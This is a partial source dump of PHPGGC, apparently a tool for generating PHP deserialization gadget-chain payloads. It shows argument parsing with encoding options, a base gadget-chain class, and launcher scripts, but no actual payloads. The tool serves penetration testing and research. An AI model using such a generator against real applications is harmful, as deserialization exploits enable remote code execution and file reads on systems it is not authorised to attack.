417 | * Parses the command line arguments. 418 | */ 419 | protected function parse_cmdline($argv) 420 | { 421 | unset($argv[0]); 422 | 423 | $valid_arguments = [ 424 | 'new' => true, 425 | 'informations' => false, 426 | 'help' => false, 427 | 'list' => false, 428 | 'wrapper' => true, 429 | 'softencode' => false, 430 | 'base64' => false, 431 | 'urlencode' => false, 432 | ]; 433 | 434 | $arguments = [ 435 | ]; 436 | 437 | $count = count($argv); 438 | 439 | foreach($argv as $i => $arg) 440 | { 441 | if($arg{0} == '-') 442 | { 443 | $arg = substr($arg, 1); 444 | $valid = false; 445 | 446 | foreach($valid_arguments as $argument => $has_parameter) 447 | { 448 | if($argument{0} == $arg) 449 | { 450 | $valid = true; 451 | 452 | if($has_parameter) 453 | { 454 | if($count < $i) 455 | { 456 | $e = 'Parameter ' . $arg . ' expects a value'; 457 | throw new \PHPGGC\Exception($e); 458 | } 459 | 460 | $arguments[$argument] = $argv[$i+1]; 461 | 462 | # Delete argument's value 463 | unset($argv[$i+1]); 464 | } 465 | else 466 | { 467 | $arguments[$argument] = true; 468 | } 469 | 470 | break; 471 | } 472 | } 473 | 474 | if(!$valid) 475 | { 476 | throw new PHPGGC\Exception('Unknown parameter: ' . $arg); 477 | } 478 | 479 | # Delete argument 480 | unset($argv[$i]); 481 | } 482 | } 483 | 484 | $argv = array_values($argv); 485 | 486 | # Handle optional arguments in case they need to be handled now. 487 | # Otherwise, just save them. 488 | 489 | foreach($arguments as $argument => $value) 490 | { 491 | switch($argument) 492 | { 493 | case 'new': 494 | if(count($argv) < 1) 495 | { 496 | $line = $this->_get_command_line(' '); 497 | $this->o($line); 498 | } 499 | else 500 | $this->new_gc($value, $argv[0]); 501 | 502 | break; 503 | case 'help': 504 | $this->help(); 505 | break; 506 | case 'list': 507 | $this->list_gc(); 508 | break; 509 | case 'wrapper': 510 | $this->set_wrapper($value); 511 | break; 512 | } 513 | } 514 | 515 | $this->arguments = $arguments; 516 | 517 | # Return remaining arguments 518 | return array_values($argv); 519 | } 520 | 521 | /** 522 | * Convert command line parameters into an array of named parameters, 523 | * specific to the type of payload. 524 | */ 525 | protected function get_type_parameters($gc, $parameters) 526 | { 527 | $arguments = $gc->parameters; 528 | 529 | $values = @array_combine($arguments, $parameters); 530 | 531 | if($values === false) 532 | { 533 | $this->o($gc, 2); 534 | $message = 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" 535 | . $this->_get_command_line_gc($gc); 536 | throw new PHPGGC\Exception($message); 537 | } 538 | 539 | return $values; 540 | } 541 | 542 | protected function _get_command_line_gc($gc) 543 | { 544 | $arguments = array_map(function ($a) { 545 | return '<' . $a . '>'; 546 | }, $gc->parameters); 547 | return $this->_get_command_line($gc->get_name(), ...$arguments); 548 | } 549 | 550 | private function _get_command_line(...$arguments) 551 | { 552 | return './phpggc ' . implode(' ', $arguments); 553 | } 554 | } -------------------------------------------------------------------------------- /lib/PHPGGC/Exception.php: -------------------------------------------------------------------------------- 1 | $this->get_name(), 28 | 'Version' => $this->version, 29 | 'Type' => self::$type, 30 | 'Vector' => $this->vector 31 | ]; 32 | 33 | $strings = []; 34 | 35 | if($this->informations) 36 | { 37 | $informations = trim($this->informations); 38 | $informations = preg_replace("#\n\s+#", "\n", $informations); 39 | $infos['Informations'] = "\n" . $informations; 40 | } 41 | 42 | foreach($infos as $k => $v) 43 | { 44 | $strings[] = str_pad($k, 15) . ': ' . $v; 45 | } 46 | 47 | return implode("\n", $strings); 48 | } 49 | 50 | public function get_name() 51 | { 52 | $class = get_class($this); 53 | $class = substr($class, strpos($class, '\\') + 1); 54 | $class = str_replace('\\', '/', $class); 55 | return $class; 56 | } 57 | 58 | public function load_gadgets() 59 | { 60 | $file = dirname((new \ReflectionClass($this))->getFileName()); 61 | require $file . '/gadgets.php'; 62 | } 63 | 64 | /** 65 | * Modifies given parameters if required. 66 | */ 67 | public function pre_process(array $parameters) 68 | { 69 | return $parameters; 70 | } 71 | 72 | abstract public function generate(array $parameters); 73 | 74 | /** 75 | * Changes some values in the unserialize payload. 76 | * For instance, if a class is meant to be named A\B\C but has been named 77 | * A_B_C in the gadget for convenience, it can be str_replace()d here. 78 | */ 79 | public function post_process($payload) 80 | { 81 | return $payload; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /lib/PHPGGC/GadgetChain/FileRead.php: -------------------------------------------------------------------------------- 1 | generate(); 11 | } 12 | catch(\PHPGGC\Exception $e) 13 | { 14 | print("ERROR: " . $e->getMessage() . "\n"); 15 | } 16 | -------------------------------------------------------------------------------- /pharggc.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | php pharggc %1 %2 %3 %4 %5 %6 %7 3 | -------------------------------------------------------------------------------- /phpggc: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env php 2 | generate(); 11 | } 12 | catch(\PHPGGC\Exception $e) 13 | { 14 | print("ERROR: " . $e->getMessage() . "\n"); 15 | } 16 | -------------------------------------------------------------------------------- /phpggc.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | php phpggc %1 %2 %3 %4 %5 3 | -------------------------------------------------------------------------------- /templates/chain.php: -------------------------------------------------------------------------------- 1 |